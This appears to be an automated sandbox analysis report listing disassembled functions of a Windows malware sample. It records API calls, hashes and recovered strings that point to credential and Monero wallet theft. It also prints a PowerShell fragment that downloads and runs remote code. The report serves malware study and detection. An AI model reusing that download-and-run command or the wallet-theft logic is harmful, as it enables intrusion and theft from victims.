Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: a9b4693d9b36726d326eb99f6dc4a42ae7db47ce5ed326a88dcfd98cf3853b2c
Instruction ID: 1f74895895f8bf65b8461b7b97c9ba353db69fe39d9f2f27f6ed155d12009c29
Opcode Fuzzy Hash: a9b4693d9b36726d326eb99f6dc4a42ae7db47ce5ed326a88dcfd98cf3853b2c
Instruction Fuzzy Hash: 140144B5A40308BFDB14DBE1DC4AFAEB7B8EB44700F1045A5FA05A7281DA7059058B51

Function 00BE99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00BE99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00BE9A11
LocalAlloc.KERNEL32(00000040,?), ref: 00BE9A31
ReadFile.KERNEL32(000000FF,?,00000000,00BE148F,00000000), ref: 00BE9A5A
LocalFree.KERNEL32(00BE148F), ref: 00BE9A90
CloseHandle.KERNEL32(000000FF), ref: 00BE9A9A

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: a74f6ac488aa13bf0ad58e650c276f2cf6981d73a6035603d6f1a971ec7dd5a6
Instruction ID: 2a5ab0388dfd71f779a1c89df2af092bf8f8b4f655ad7efdc711948e2bee95b5
Opcode Fuzzy Hash: a74f6ac488aa13bf0ad58e650c276f2cf6981d73a6035603d6f1a971ec7dd5a6
Instruction Fuzzy Hash: B7312DB4A00209EFDB24CF96D985FAE77F5FF48340F1081A8E915A7290D774A949CFA1

Function 00BF4780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,009BEE20), ref: 00BF47DB

Part of subcall function 00BF8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00BF8E0B

lstrcat.KERNEL32(?,00000000), ref: 00BF4801
lstrcat.KERNEL32(?,?), ref: 00BF4820
lstrcat.KERNEL32(?,?), ref: 00BF4834
lstrcat.KERNEL32(?,009AA910), ref: 00BF4847
lstrcat.KERNEL32(?,?), ref: 00BF485B
lstrcat.KERNEL32(?,009BDF60), ref: 00BF486F

Part of subcall function 00BFA740: lstrcpy.KERNEL32(00C00E17,00000000), ref: 00BFA788

Part of subcall function 00BF8D90: GetFileAttributesA.KERNEL32(00000000,?,00BE1B54,?,?,00C0564C,?,?,00C00E1F), ref: 00BF8D9F

Part of subcall function 00BF4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00BF4580
Part of subcall function 00BF4570: RtlAllocateHeap.NTDLL(00000000), ref: 00BF4587
Part of subcall function 00BF4570: wsprintfA.USER32 ref: 00BF45A6
Part of subcall function 00BF4570: FindFirstFileA.KERNEL32(?,?), ref: 00BF45BD

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 003229a62005a8fbb71324198c62cff75f10eaabe3d970c4f3692e215ff0614f
Instruction ID: 5f31e5fe3ff319dcf29f43cc8fbde084999e2c1aec60d291021c90734125cd16
Opcode Fuzzy Hash: 003229a62005a8fbb71324198c62cff75f10eaabe3d970c4f3692e215ff0614f
Instruction Fuzzy Hash: 0B3155B690020C5BCB24F7A0DC86EFD73BCAB58700F4445D9B319A7091DEB4D68D8B95

Function 00BF2C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00BFA740: lstrcpy.KERNEL32(00C00E17,00000000), ref: 00BFA788

Part of subcall function 00BFA9B0: lstrlen.KERNEL32(?,009B88D8,?,\Monero\wallet.keys,00C00E17), ref: 00BFA9C5
Part of subcall function 00BFA9B0: lstrcpy.KERNEL32(00000000), ref: 00BFAA04
Part of subcall function 00BFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BFAA12

Part of subcall function 00BFA920: lstrcpy.KERNEL32(00000000,?), ref: 00BFA972
Part of subcall function 00BFA920: lstrcat.KERNEL32(00000000), ref: 00BFA982

Part of subcall function 00BFA8A0: lstrcpy.KERNEL32(?,00C00E17), ref: 00BFA905

ShellExecuteEx.SHELL32(0000003C), ref: 00BF2D85

Strings

')", xrefs: 00BF2CB3
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00BF2D04
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00BF2CC4
<, xrefs: 00BF2D39

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 67a75e99c9ab22d3a9f5a956eb9649ae7c823dd132819a9d604afd2de9f7e23a
Instruction ID: c4e169f30445f9e99c0583fd80dcc088f4d655b5b805e5e376cfe19bde110856
Opcode Fuzzy Hash: 67a75e99c9ab22d3a9f5a956eb9649ae7c823dd132819a9d604afd2de9f7e23a
Instruction Fuzzy Hash: 2441B2B1C1010C9ADB18FBA4C891BFDB7B4AF14340F5081A9E61AB7195DFB46A4ECF91

Function 00BE9E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00BE9F41

Part of subcall function 00BFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BFA7E6

Part of subcall function 00BFA740: lstrcpy.KERNEL32(00C00E17,00000000), ref: 00BFA788

Strings

v20, xrefs: 00BE9E21
@, xrefs: 00BE9EF1
ERROR_RUN_EXTRACTOR, xrefs: 00BE9E67
v10, xrefs: 00BE9EA3

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: ac29cd356ab6d36ef9281b902226343e9fedaa7f5f8256af2c6b4faaed6b6f90
Instruction ID: 1174fdb06f9a7a0feb3b8c94c094f514dd2f2c62c6dd52bb5411192b37544728
Opcode Fuzzy Hash: ac29cd356ab6d36ef9281b902226343e9fedaa7f5f8256af2c6b4faaed6b6f90
Instruction Fuzzy Hash: 07612F70A1024CDBDB28EFA5CC96FED77F9AF44340F108558FA0A5B192EB706A09CB51

Function 00BF40B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,009BDE80,00000000,00020119,?), ref: 00BF40F4
RegQueryValueExA.ADVAPI32(?,009BED60,00000000,00000000,00000000,000000FF), ref: 00BF4118
RegCloseKey.ADVAPI32(?), ref: 00BF4122
lstrcat.KERNEL32(?,00000000), ref: 00BF4147
lstrcat.KERNEL32(?,009BED18), ref: 00BF415B

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 4db23a7ad258b08ddf1d2c80af9e7696de25db5b1305cbfbc28f2efdfa618af2
Instruction ID: 3baeafb753dd300c56ee80950d0d5902bebe677f0d875a0a32151dce1a650a66
Opcode Fuzzy Hash: 4db23a7ad258b08ddf1d2c80af9e7696de25db5b1305cbfbc28f2efdfa618af2
Instruction Fuzzy Hash: 70419CB6D00108ABDB24FBA0DC46FFE73BDAB58700F044998B71557181EA755B8D8BE2

Function 00BF6920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00BF696C
sscanf.NTDLL ref: 00BF6999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00BF69B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00BF69C0
ExitProcess.KERNEL32 ref: 00BF69DA

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 6673cf06c561d0d1a6337bd7ae052ed8471d35ca76f7ba93ed46e4b6e634b5c9
Instruction ID: 78926d6dbf31ae357fd66aaa829dc88c026af846b8a6c046be219210755ded8c
Opcode Fuzzy Hash: 6673cf06c561d0d1a6337bd7ae052ed8471d35ca76f7ba93ed46e4b6e634b5c9
Instruction Fuzzy Hash: 7A21B8B5D1420CAFCB18EFE4D949AEEB7B5FF48300F04856AE506B3250EB745609CB69

Function 00BF7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00BF7E37
RtlAllocateHeap.NTDLL(00000000), ref: 00BF7E3E
RegOpenKeyExA.ADVAPI32(80000002,009AB9F0,00000000,00020119,?), ref: 00BF7E5E
RegQueryValueExA.ADVAPI32(?,009BDCE0,00000000,00000000,000000FF,000000FF), ref: 00BF7E7F
RegCloseKey.ADVAPI32(?), ref: 00BF7E92

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: dee1dd683cdfcd90fa752526e008283d7f54f4f04dab3a77f599b1022374ef66
Instruction ID: 018c86fa5ad8a837702cfc05d066f08ee1f09f02e634e7a67546960098ad366c
Opcode Fuzzy Hash: dee1dd683cdfcd90fa752526e008283d7f54f4f04dab3a77f599b1022374ef66
Instruction Fuzzy Hash: 19116DB1A44209AFD714CB95DD49F7BBBBCEB04710F1041AAF705A7280DB7458098BA1

Function 00BF9260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(009BE8F8,?,?,?,00BF140C,?,009BE8F8,00000000), ref: 00BF926C
lstrcpyn.KERNEL32(00E2AB88,009BE8F8,009BE8F8,?,00BF140C,?,009BE8F8), ref: 00BF9290
lstrlen.KERNEL32(?,?,00BF140C,?,009BE8F8), ref: 00BF92A7
wsprintfA.USER32 ref: 00BF92C7

Strings

%s%s, xrefs: 00BF92B5

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: e24a02f302a9fcb62095cd3e5741c02a6b6e8a60774384eca7af35bf8e1dfc06
Instruction ID: 6382e366ad5bd20132448ea0d816c261e0ef66d243710b445604c94bd09895f8
Opcode Fuzzy Hash: e24a02f302a9fcb62095cd3e5741c02a6b6e8a60774384eca7af35bf8e1dfc06
Instruction Fuzzy Hash: C0011A7550020CFFCB04DFECD988EAE7BB9EB48350F188168F909AB240C631AA45DB91

Function 00BE12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00BE12B4
RtlAllocateHeap.NTDLL(00000000), ref: 00BE12BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00BE12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00BE12F5
RegCloseKey.ADVAPI32(?), ref: 00BE12FF

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 46f898041863b77dc2c01dc03eb220280f5b0e4e011072ecf8440653801c220d
Instruction ID: 0303e8c5eeb90b57bfcd0e322174f28ef3b65760777813069e2fe090609c41f2
Opcode Fuzzy Hash: 46f898041863b77dc2c01dc03eb220280f5b0e4e011072ecf8440653801c220d
Instruction Fuzzy Hash: B50131B9A40208BFDB18DFE5DC49FAEB7B8FB48701F108169FB05A7280D6719A058F51

Function 00BFC84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 00BFC8EC
___crtLCMapStringA.LIBCMT ref: 00BFC90C
___crtLCMapStringA.LIBCMT ref: 00BFC931

Strings

, xrefs: 00BFC896

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 77a93ec95e87318f01434b690af956b094f8cc25d2abdb9fde95ea2d02653b01
Instruction ID: a89f771fd85e1133196b14662520385ccd9444770b801f30a436d9bedab11a38
Opcode Fuzzy Hash: 77a93ec95e87318f01434b690af956b094f8cc25d2abdb9fde95ea2d02653b01
Instruction Fuzzy Hash: 4541D77150075C5EDB228B24CD84FFBBFE99F45704F1484E8EA8A87182D2719A88DF60

Function 00BF6630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

